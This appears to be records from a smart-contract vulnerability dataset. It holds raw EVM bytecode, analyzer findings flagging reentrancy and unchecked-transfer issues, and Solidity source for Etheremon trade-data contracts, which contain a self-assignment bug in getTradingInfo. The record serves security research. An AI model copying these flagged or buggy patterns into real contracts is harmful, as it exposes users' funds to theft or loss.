158015612b5c57600080fd5b505af1158015612b70573d6000803e3d6000fd5b505050506040513d6020811015612b8657600080fd5b8101908080519060200190929190505050505b5b612bd086600560068110612baa57fe5b60200201516000808481526020019081526020016000205461532d90919063ffffffff16565b600080838152602001908152602001600020819055507fa99a0659382bd454329e4478ad17e8d2248d18852f2ae8f8899759d5378c759e86600060068110612c1457fe5b602002015187600560068110612c2657fe5b602002015187600060028110612c3857fe5b6020020151612c728a600560068110612c4d57fe5b60200201518b600260068110612c5f57fe5b60200201516152a790919063ffffffff16565b89600160028110612c7f57fe5b60200201513387604051808881526020018781526020018673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200197505050505050505060405180910390a16001915050949350505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000803085600060028110612d7157fe5b602002015187600060058110612d8357fe5b602002015188600160058110612d9557fe5b602002015188600160028110612da757fe5b60200201518a600260058110612db957fe5b60200201518b600360058110612dcb57fe5b60200201518c600460058110612ddd57fe5b6020020151604051602001808973ffffffffffffffffffffffffffffffffffffffff1660601b81526014018873ffffffffffffffffffffffffffffffffffffffff1660601b81526014018781526020018681526020018573ffffffffffffffffffffffffffffffffffffffff1660601b81526014018481526020018381526020018281526020019850505050505050505060405160208183030381529060405280519060200120905084600160028110612e9357fe5b602002015173ffffffffffffffffffffffffffffffffffffffff1660018260405160200180807f19457468657265756d205369676e6564204d6573736167653a0a333200000000815250601c01828152602001915050604051602081830303815290604052805190602001208686600060028110612f0d57fe5b602002015187600160028110612f1f57fe5b602002015160405160008152602001604052604051808581526020018460ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa158015612f78573d6000803e3d6000fd5b5050506020604051035173ffffffffffffffffffffffffffffffffffffffff1614612fa7576000915050612fd0565b4286600360058110612fb557fe5b60200201511015612fca576000915050612fd0565b60019150505b949350505050565b60004285600360068110612fe857fe5b602002015111613060576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260078152602001807f457870697265640000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168460006002811061308557fe5b602002015173ffffffffffffffffffffffffffffffffffffffff1614613113576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f4e6f7420616e204554482054726164650000000000000000000000000000000081525060200191505060405180910390fd5b6000308560006002811061312357fe5b60200201518760006006811061313557fe5b60200201518860016006811061314757fe5b60200201518860016002811061315957fe5b60200201518a60026006811061316b57fe5b60200201518b60036006811061317d57fe5b60200201518c60046006811061318f57fe5b6020020151604051602001808973ffffffffffffffffffffffffffffffffffffffff1660601b81526014018873ffffffffffffffffffffffffffffffffffffffff1660601b81526014018781526020018681526020018573ffffffffffffffffffffffffffffffffffffffff1660601b8152601401848152602001838152602001828152602001985050505050505050506040516020818303038152906040528051906020012090508460016002811061324557fe5b602002015173ffffffffffffffffffffffffffffffffffffffff1660018260405160200180807f19457468657265756d205369676e6564204d6573736167653a0a333200000000815250601c018281526020019150506040516020818303038152906040528051906020012086866000600281106132bf57fe5b6020020151876001600281106132d157fe5b602002015160405160008152602001604052604051808581526020018460ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa15801561332a573d6000803e3d6000fd5b5050506020604051035173ffffffffffffffffffffffffffffffffffffffff16146133bd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f496e76616c6964204f726465720000000000000000000000000000000000000081525060200191505060405180910390fd5b856001600681106133ca57fe5b6020020151613405876005600681106133df57fe5b60200201516000808581526020019081526020016000205461532d90919063ffffffff16565b1115613479576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f547261646520616d6f756e7420746f6f2068696768000000000000000000000081525060200191505060405180910390fd5b6134ae8660056006811061348957fe5b60200201518760026006811061349b57fe5b60200201516152a790919063ffffffff16565b341015613523576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f496e737566666963656e742042616c616e63650000000000000000000000000081525060200191505060405180910390fd5b600061355a8760056006811061353557fe5b60200201518860026006811061354757fe5b60200201516152a790919063ffffffff16565b9050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f242432a876001600281106135a757fe5b6020020151338a6000600681106135ba57fe5b60200201518b6005600681106135cc57fe5b60200201516040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020018060200182810382526000815260200160200195505050505050600060405180830381600087803b15801561365c57600080fd5b505af1158015613670573d6000803e3d6000fd5b50505050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6136d86103e86136ca600a866152a790919063ffffffff16565b6153b590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015613703573d6000803e3d6000fd5b50600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6137696103e861375b600954866152a790919063ffffffff16565b6153b590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015613794573d6000803e3d6000fd5b50600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cd53d08e886000600681106137e057fe5b60200201516040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b15801561381957600080fd5b505afa15801561382d573d6000803e3d6000fd5b505050506040513d602081101561384357600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff166108fc6138966103e8613888600a54866152a790919063ffffffff16565b6153b590919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156138c1573d6000803e3d6000fd5b50856001600281106138cf57fe5b602002015173ffffffffffffffffffffffffffffffffffffffff166108fc6139206103e8613912600a80546009546103e8030303866152a790919063ffffffff16565b6153b590919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561394b573d6000803e3d6000fd5b503373ffffffffffffffffffffffffffffffffffffffff166108fc8234039081150290604051600060405180830381858888f19350505050158015613994573d6000803e3d6000fd5b506139cb876005600681106139a557fe5b60200201516000808581526020019081526020016000205461532d90919063ffffffff16565b600080848152602001908152602001600020819055507fa99a0659382bd454329e4478ad17e8d2248d18852f2ae8f8899759d5378c759e87600060068110613a0f57fe5b602002015188600560068110613a2157fe5b602002015188600060028110613a3357fe5b6020020151613a6d8b600560068110613a4857fe5b60200201518c600260068110613a5a57fe5b60200201516152a790919063ffffffff16565b338b600160028110613a7b57fe5b602002015188604051808881526020018781526020018673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200197505050505050505060405180910390a1600192505050949350505050565b600b6020528060005260406000206000915054906101000a900460ff1681565b60095481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614613bf9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f4e6f74204f776e6572000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600a8190555050565b600a5481565b60006020528060005260406000206000915090505481565b60004285600360068110613c3157fe5b602002015111613ca9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260078152602001807f457870697265640000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1684600060028110613cce57fe5b602002015173ffffffffffffffffffffffffffffffffffffffff161415613d5d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f455448205472616465000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60003085600060028110613d6d57fe5b602002015187600060068110613d7f57fe5b602002015188600160068110613d9157fe5b602002015188600160028110613da357fe5b60200201518a600260068110613db557fe5b60200201518b600360068110613dc757fe5b60200201518c600460068110613dd957fe5b6020020151604051602001808973ffffffffffffffffffffffffffffffffffffffff1660601b81526014018873ffffffffffffffffffffffffffffffffffffffff1660601b81526014018781526020018681526020018573ffffffffffffffffffffffffffffffffffffffff1660601b81526014018481526020018381526020018281526020019850505050505050505060405160208183030381529060405280519060200120905084600160028110613e8f57fe5b602002015173ffffffffffffffffffffffffffffffffffffffff1660018260405160200180807f19457468657265756d205369676e6564204d6573736167653a0a333200000000815250601c01828152602001915050604051602081830303815290604052805190602001208686600060028110613f0957fe5b602002015187600160028110613f1b57fe5b602002015160405160008152602001604052604051808581526020018460ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa158015613f74573d6000803e3d6000fd5b5050506020604051035173ffffffffffffffffffffffffffffffffffffffff1614614007576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f496e76616c6964204f726465720000000000000000000000000000000000000081525060200191505060405180910390fd5b8560016006811061401457fe5b602002015161404f8760056006811061402957fe5b60200201516000808581526020019081526020016000205461532d90919063ffffffff16565b11156140c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f547261646520616d6f756e7420746f6f2068696768000000000000000000000081525060200191505060405180910390fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168560006002811061410957fe5b602002015173ffffffffffffffffffffffffffffffffffffffff1614156145ee578460006002811061413757fe5b6020020151600460018154811061414a57fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fb3bdb4134614206896005600681106141e157fe5b60200201518a6002600681106141f357fe5b60200201516152a790919063ffffffff16565b6004306107d042016040518663ffffffff1660e01b815260040180858152602001806020018473ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182810382528581815481526020019150805480156142c057602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311614276575b5050955050505050506000604051808303818588803b1580156142e257600080fd5b505af11580156142f6573d6000803e3d6000fd5b50505050506040513d6000823e3d601f19601f82011682018060405250602081101561432157600080fd5b810190808051604051939291908464010000000082111561434157600080fd5b8382019150602082018581111561435757600080fd5b825186602082028301116401000000008211171561437457600080fd5b8083526020830192505050908051906020019060200280838360005b838110156143ab578082015181840152602081019050614390565b50505050905001604052505050600590805190602001906143cd929190615444565b50600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f242432a8660016002811061441957fe5b6020020151338960006006811061442c57fe5b60200201518a60056006811061443e57fe5b60200201516040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020018060200182810382526000815260200160200195505050505050600060405180830381600087803b1580156144ce57600080fd5b505af11580156144e2573d6000803e3d6000fd5b50505050846000600281106144f357fe5b602002015173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8660016002811061452057fe5b602002015161455a8960056006811061453557fe5b60200201518a60026006811061454757fe5b60200201516152a790919063ffffffff16565b6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156145ad57600080fd5b505af11580156145c1573d6000803e3d6000fd5b505050506040513d60208110156145d757600080fd5b810190808051906020019092919050505050614f75565b600073ffffffffffffffffffffffffffffffffffffffff168560006002811061461357fe5b602002015173ffffffffffffffffffffffffffffffffffffffff1614614f74578460006002811061464057fe5b6020020151600460018154811061465357fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fb3bdb413461470f896005600681106146ea57fe5b60200201518a6002600681106146fc57fe5b60200201516152a790919063ffffffff16565b6004306107d042016040518663ffffffff1660e01b815260040180858152602001806020018473ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182810382528581815481526020019150805480156147c957602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001906001019080831161477f575b5050955050505050506000604051808303818588803b1580156147eb57600080fd5b505af11580156147ff573d6000803e3d6000fd5b50505050506040513d6000823e3d601f19601f82011682018060405250602081101561482a57600080fd5b810190808051604051939291908464010000000082111561484a57600080fd5b8382019150602082018581111561486057600080fd5b825186602082028301116401000000008211171561487d57600080fd5b8083526020830192505050908051906020019060200280838360005b838110156148b4578082015181840152602081019050614899565b50505050905001604052505050600590805190602001906148d6929190615444565b50600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f242432a8660016002811061492257fe5b6020020151338960006006811061493557fe5b60200201518a60056006811061494757fe5b60200201516040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020018060200182810382526000815260200160200195505050505050600060405180830381600087803b1580156149d757600080fd5b505af11580156149eb573d6000803e3d6000fd5b50505050846000600281106149fc57fe5b602002015173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16614a9b6103e8614a8d600a614a7f8d600560068110614a5a57fe5b60200201518e600260068110614a6c57fe5b60200201516152a790919063ffffffff16565b6152a790919063ffffffff16565b6153b590919063ffffffff16565b6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015614aee57600080fd5b505af1158015614b02573d6000803e3d6000fd5b505050506040513d6020811015614b1857600080fd5b81019080805190602001909291905050505084600060028110614b3757fe5b602002015173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16614bd76103e8614bc9600954614bbb8d600560068110614b9657fe5b60200201518e600260068110614ba857fe5b60200201516152a790919063ffffffff16565b6152a790919063ffffffff16565b6153b590919063ffffffff16565b6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015614c2a57600080fd5b505af1158015614c3e573d6000803e3d6000fd5b505050506040513d6020811015614c5457600080fd5b81019080805190602001909291905050505084600060028110614c7357fe5b602002015173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cd53d08e89600060068110614cde57fe5b60200201516040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b158015614d1757600080fd5b505afa158015614d2b573d6000803e3d6000fd5b505050506040513d6020811015614d4157600080fd5b8101908080519060200190929190505050614daf6103e8614da1600a54614d938d600560068110614d6e57fe5b60200201518e600260068110614d8057fe5b60200201516152a790919063ffffffff16565b6152a790919063ffffffff16565b6153b590919063ffffffff16565b6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015614e0257600080fd5b505af1158015614e16573d6000803e3d6000fd5b505050506040513d6020811015614e2c57600080fd5b81019080805190602001909291905050505084600060028110614e4b57fe5b602002015173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb86600160028110614e7857fe5b6020020151614ee46103e8614ed6600a80546009546103e8030303614ec88d600560068110614ea357fe5b60200201518e600260068110614eb557fe5b60200201516152a790919063ffffffff16565b6152a790919063ffffffff16565b6153b590919063ffffffff16565b6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015614f3757600080fd5b505af1158015614f4b573d6000803e3d6000fd5b505050506040513d6020811015614f6157600080fd5b8101908080519060200190929190505050505b5b60003373ffffffffffffffffffffffffffffffffffffffff166005600081548110614f9c57fe5b90600052602060002001543403600067ffffffffffffffff81118015614fc157600080fd5b506040519080825280601f01601f191660200182016040528015614ff45781602001600182028036833780820191505090505b506040518082805190602001908083835b602083106150285780518252602082019150602081019050602083039250615005565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d806000811461508a576040519150601f19603f3d011682016040523d82523d6000602084013e61508f565b606091505b5050905080615106576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f436f756c64204e6f742072657475726e204c6566746f7665722045544800000081525060200191505060405180910390fd5b61513c8760056006811061511657fe5b60200201516000808581526020019081526020016000205461532d90919063ffffffff16565b600080848152602001908152602001600020819055507fa99a0659382bd454329e4478ad17e8d2248d18852f2ae8f8899759d5378c759e8760006006811061518057fe5b60200201518860056006811061519257fe5b6020020151886000600281106151a457fe5b60200201516151de8b6005600681106151b957fe5b60200201518c6002600681106151cb57fe5b60200201516152a790919063ffffffff16565b338b6001600281106151ec57fe5b602002015188604051808881526020018781526020018673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200197505050505050505060405180910390a1600192505050949350505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000808314156152ba5760009050615327565b60008284029050828482816152cb57fe5b0414615322576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806154d06021913960400191505060405180910390fd5b809150505b92915050565b6000808284019050838110156153ab576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600080821161542c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060200191505060405180910390fd5b600082848161543757fe5b0490508091505092915050565b828054828255906000526020600020908101928215615480579160200282015b8281111561547f578251825591602001919060010190615464565b5b50905061548d9190615491565b5090565b5b808211156154aa576000816000905550600101615492565b509056fe5468697320547261646520446f6573204e6f742041636365707420426165506179536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220949c7f31193e68869ce00299da54dca3aa10a172626885b7dab0da883d10333364736f6c63430007040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
6,836
0x9a376e31f1947c468ca904b4307c8970667e0ec2
pragma solidity ^0.4.16; // copyright contact@Etheremon.com contract SafeMath { /* function assert(bool assertion) internal { */ /* if (!assertion) { */ /* throw; */ /* } */ /* } // assert no longer needed once solidity is on 0.4.10 */ function safeAdd(uint256 x, uint256 y) pure internal returns(uint256) { uint256 z = x + y; assert((z >= x) && (z >= y)); return z; } function safeSubtract(uint256 x, uint256 y) pure internal returns(uint256) { assert(x >= y); uint256 z = x - y; return z; } function safeMult(uint256 x, uint256 y) pure internal returns(uint256) { uint256 z = x * y; assert((x == 0)||(z/x == y)); return z; } } contract BasicAccessControl { address public owner; // address[] public moderators; uint16 public totalModerators = 0; mapping (address => bool) public moderators; bool public isMaintaining = false; function BasicAccessControl() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } modifier onlyModerators() { require(msg.sender == owner || moderators[msg.sender] == true); _; } modifier isActive { require(!isMaintaining); _; } function ChangeOwner(address _newOwner) onlyOwner public { if (_newOwner != address(0)) { owner = _newOwner; } } function AddModerator(address _newModerator) onlyOwner public { if (moderators[_newModerator] == false) { moderators[_newModerator] = true; totalModerators += 1; } } function RemoveModerator(address _oldModerator) onlyOwner public { if (moderators[_oldModerator] == true) { moderators[_oldModerator] = false; totalModerators -= 1; } } function UpdateMaintaining(bool _isMaintaining) onlyOwner public { isMaintaining = _isMaintaining; } } contract EtheremonEnum { enum ResultCode { SUCCESS, ERROR_CLASS_NOT_FOUND, ERROR_LOW_BALANCE, ERROR_SEND_FAIL, ERROR_NOT_TRAINER, ERROR_NOT_ENOUGH_MONEY, ERROR_INVALID_AMOUNT, ERROR_OBJ_NOT_FOUND, ERROR_OBJ_INVALID_OWNERSHIP } enum ArrayType { CLASS_TYPE, STAT_STEP, STAT_START, STAT_BASE, OBJ_SKILL } } contract EtheremonDataBase is EtheremonEnum, BasicAccessControl, SafeMath { uint64 public totalMonster; uint32 public totalClass; // write function addElementToArrayType(ArrayType _type, uint64 _id, uint8 _value) onlyModerators public returns(uint); function removeElementOfArrayType(ArrayType _type, uint64 _id, uint8 _value) onlyModerators public returns(uint); function setMonsterClass(uint32 _classId, uint256 _price, uint256 _returnPrice, bool _catchable) onlyModerators public returns(uint32); function addMonsterObj(uint32 _classId, address _trainer, string _name) onlyModerators public returns(uint64); function setMonsterObj(uint64 _objId, string _name, uint32 _exp, uint32 _createIndex, uint32 _lastClaimIndex) onlyModerators public; function increaseMonsterExp(uint64 _objId, uint32 amount) onlyModerators public; function decreaseMonsterExp(uint64 _objId, uint32 amount) onlyModerators public; function removeMonsterIdMapping(address _trainer, uint64 _monsterId) onlyModerators public; function addMonsterIdMapping(address _trainer, uint64 _monsterId) onlyModerators public; function clearMonsterReturnBalance(uint64 _monsterId) onlyModerators public returns(uint256 amount); function collectAllReturnBalance(address _trainer) onlyModerators public returns(uint256 amount); function transferMonster(address _from, address _to, uint64 _monsterId) onlyModerators public returns(ResultCode); function addExtraBalance(address _trainer, uint256 _amount) onlyModerators public returns(uint256); function deductExtraBalance(address _trainer, uint256 _amount) onlyModerators public returns(uint256); function setExtraBalance(address _trainer, uint256 _amount) onlyModerators public; // read function getSizeArrayType(ArrayType _type, uint64 _id) constant public returns(uint); function getElementInArrayType(ArrayType _type, uint64 _id, uint _index) constant public returns(uint8); function getMonsterClass(uint32 _classId) constant public returns(uint32 classId, uint256 price, uint256 returnPrice, uint32 total, bool catchable); function getMonsterObj(uint64 _objId) constant public returns(uint64 objId, uint32 classId, address trainer, uint32 exp, uint32 createIndex, uint32 lastClaimIndex, uint createTime); function getMonsterName(uint64 _objId) constant public returns(string name); function getExtraBalance(address _trainer) constant public returns(uint256); function getMonsterDexSize(address _trainer) constant public returns(uint); function getMonsterObjId(address _trainer, uint index) constant public returns(uint64); function getExpectedBalance(address _trainer) constant public returns(uint256); function getMonsterReturn(uint64 _objId) constant public returns(uint256 current, uint256 total); } interface EtheremonBattleInterface { function isOnBattle(uint64 _objId) constant external returns(bool) ; } interface EtheremonMonsterNFTInterface { function triggerTransferEvent(address _from, address _to, uint _tokenId) external; function getMonsterCP(uint64 _monsterId) constant external returns(uint cp); } contract EtheremonTradeData is BasicAccessControl { struct BorrowItem { uint index; address owner; address borrower; uint price; bool lent; uint releaseTime; uint createTime; } struct SellingItem { uint index; uint price; uint createTime; } mapping(uint => SellingItem) public sellingDict; // monster id => item uint[] public sellingList; // monster id mapping(uint => BorrowItem) public borrowingDict; uint[] public borrowingList; mapping(address => uint[]) public lendingList; function removeSellingItem(uint _itemId) onlyModerators external { SellingItem storage item = sellingDict[_itemId]; if (item.index == 0) return; if (item.index <= sellingList.length) { // Move an existing element into the vacated key slot. sellingDict[sellingList[sellingList.length-1]].index = item.index; sellingList[item.index-1] = sellingList[sellingList.length-1]; sellingList.length -= 1; delete sellingDict[_itemId]; } } function addSellingItem(uint _itemId, uint _price, uint _createTime) onlyModerators external { SellingItem storage item = sellingDict[_itemId]; item.price = _price; item.createTime = _createTime; if (item.index == 0) { item.index = ++sellingList.length; sellingList[item.index - 1] = _itemId; } } function removeBorrowingItem(uint _itemId) onlyModerators external { BorrowItem storage item = borrowingDict[_itemId]; if (item.index == 0) return; if (item.index <= borrowingList.length) { // Move an existing element into the vacated key slot. borrowingDict[borrowingList[borrowingList.length-1]].index = item.index; borrowingList[item.index-1] = borrowingList[borrowingList.length-1]; borrowingList.length -= 1; delete borrowingDict[_itemId]; } } function addBorrowingItem(address _owner, uint _itemId, uint _price, address _borrower, bool _lent, uint _releaseTime, uint _createTime) onlyModerators external { BorrowItem storage item = borrowingDict[_itemId]; item.owner = _owner; item.borrower = _borrower; item.price = _price; item.lent = _lent; item.releaseTime = _releaseTime; item.createTime = _createTime; if (item.index == 0) { item.index = ++borrowingList.length; borrowingList[item.index - 1] = _itemId; } } function addItemLendingList(address _trainer, uint _objId) onlyModerators external { lendingList[_trainer].push(_objId); } function removeItemLendingList(address _trainer, uint _objId) onlyModerators external { uint foundIndex = 0; uint[] storage objList = lendingList[_trainer]; for (; foundIndex < objList.length; foundIndex++) { if (objList[foundIndex] == _objId) { break; } } if (foundIndex < objList.length) { objList[foundIndex] = objList[objList.length-1]; delete objList[objList.length-1]; objList.length--; } } // read access function isOnBorrow(uint _objId) constant external returns(bool) { return (borrowingDict[_objId].index > 0); } function isOnSell(uint _objId) constant external returns(bool) { return (sellingDict[_objId].index > 0); } function isOnLent(uint _objId) constant external returns(bool) { return borrowingDict[_objId].lent; } function getSellPrice(uint _objId) constant external returns(uint) { return sellingDict[_objId].price; } function isOnTrade(uint _objId) constant external returns(bool) { return ((borrowingDict[_objId].index > 0) || (sellingDict[_objId].index > 0)); } function getBorrowBasicInfo(uint _objId) constant external returns(address owner, bool lent) { BorrowItem storage borrowItem = borrowingDict[_objId]; return (borrowItem.owner, borrowItem.lent); } function getBorrowInfo(uint _objId) constant external returns(uint index, address owner, address borrower, uint price, bool lent, uint createTime, uint releaseTime) { BorrowItem storage borrowItem = borrowingDict[_objId]; return (borrowItem.index, borrowItem.owner, borrowItem.borrower, borrowItem.price, borrowItem.lent, borrowItem.createTime, borrowItem.releaseTime); } function getSellInfo(uint _objId) constant external returns(uint index, uint price, uint createTime) { SellingItem storage item = sellingDict[_objId]; return (item.index, item.price, item.createTime); } function getTotalSellingItem() constant external returns(uint) { return sellingList.length; } function getTotalBorrowingItem() constant external returns(uint) { return borrowingList.length; } function getTotalLendingItem(address _trainer) constant external returns(uint) { return lendingList[_trainer].length; } function getSellingInfoByIndex(uint _index) constant external returns(uint objId, uint price, uint createTime) { objId = sellingList[_index]; SellingItem storage item = sellingDict[objId]; price = item.price; createTime = item.createTime; } function getBorrowInfoByIndex(uint _index) constant external returns(uint objId, address owner, address borrower, uint price, bool lent, uint createTime, uint releaseTime) { objId = borrowingList[_index]; BorrowItem storage borrowItem = borrowingDict[objId]; return (objId, borrowItem.owner, borrowItem.borrower, borrowItem.price, borrowItem.lent, borrowItem.createTime, borrowItem.releaseTime); } function getLendingObjId(address _trainer, uint _index) constant external returns(uint) { return lendingList[_trainer][_index]; } function getLendingInfo(address _trainer, uint _index) constant external returns(uint objId, address owner, address borrower, uint price, bool lent, uint createTime, uint releaseTime) { objId = lendingList[_trainer][_index]; BorrowItem storage borrowItem = borrowingDict[objId]; return (objId, borrowItem.owner, borrowItem.borrower, borrowItem.price, borrowItem.lent, borrowItem.createTime, borrowItem.releaseTime); } function getTradingInfo(uint _objId) constant external returns(uint sellingPrice, uint lendingPrice, bool lent, uint releaseTime, address owner, address borrower) { SellingItem storage item = sellingDict[_objId]; sellingPrice = item.price; BorrowItem storage borrowItem = borrowingDict[_objId]; lendingPrice = borrowItem.price; lent = borrowItem.lent; releaseTime = borrowItem.releaseTime; owner = borrowItem.owner; borrower = borrower; } }
0x6060604052600436106101b55763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166220338581146101ba578063067002ce146101df5780630e137368146101f75780631008a2a51461025957806314d0f1ba14610278578063207a70b3146102ab57806326cd0888146102c157806329da3b4d146102fb5780633a060bc914610311578063488f1e431461032757806348ef5aa81461033d5780634afd8a19146103555780634efb023e1461037757806350048174146103a1578063542c8f37146103c3578063654470fc146103d95780636c81fd6d146103ec578063770c6bde1461040b5780637d3266351461042d5780638da5cb5b1461044f578063999ec0a01461047e5780639cbb165e146104945780639e5b241a146104aa578063a18e0ce4146104c0578063b58c87ba146104f8578063b85d62751461050e578063ba730e531461052d578063cc4999ea14610543578063e40906ed1461059f578063e88dfc67146105d9578063e9bc63f7146105fb578063ee4e441614610611578063f285329214610624578063f797ac0e14610643578063ff510ad81461065f575b600080fd5b34156101c557600080fd5b6101cd610675565b60405190815260200160405180910390f35b34156101ea57600080fd5b6101f560043561067c565b005b341561020257600080fd5b61020d600435610794565b604051968752600160a060020a0395861660208801529390941660408087019190915260608601929092521515608085015260a084019290925260c083015260e0909101905180910390f35b341561026457600080fd5b6101cd600160a060020a03600435166107e4565b341561028357600080fd5b610297600160a060020a03600435166107ff565b604051901515815260200160405180910390f35b34156102b657600080fd5b61020d600435610814565b34156102cc57600080fd5b6102d7600435610862565b60405180848152602001838152602001828152602001935050505060405180910390f35b341561030657600080fd5b6101f5600435610883565b341561031c57600080fd5b6102976004356109da565b341561033257600080fd5b6102d76004356109f2565b341561034857600080fd5b6101f56004351515610a3b565b341561036057600080fd5b61020d600160a060020a0360043516602435610a69565b341561038257600080fd5b61038a610b13565b60405161ffff909116815260200160405180910390f35b34156103ac57600080fd5b6101f5600160a060020a0360043516602435610b35565b34156103ce57600080fd5b610297600435610bb3565b34156103e457600080fd5b6101cd610bc6565b34156103f757600080fd5b6101f5600160a060020a0360043516610bcc565b341561041657600080fd5b6101f5600160a060020a0360043516602435610c76565b341561043857600080fd5b6101cd600160a060020a0360043516602435610d8a565b341561045a57600080fd5b610462610d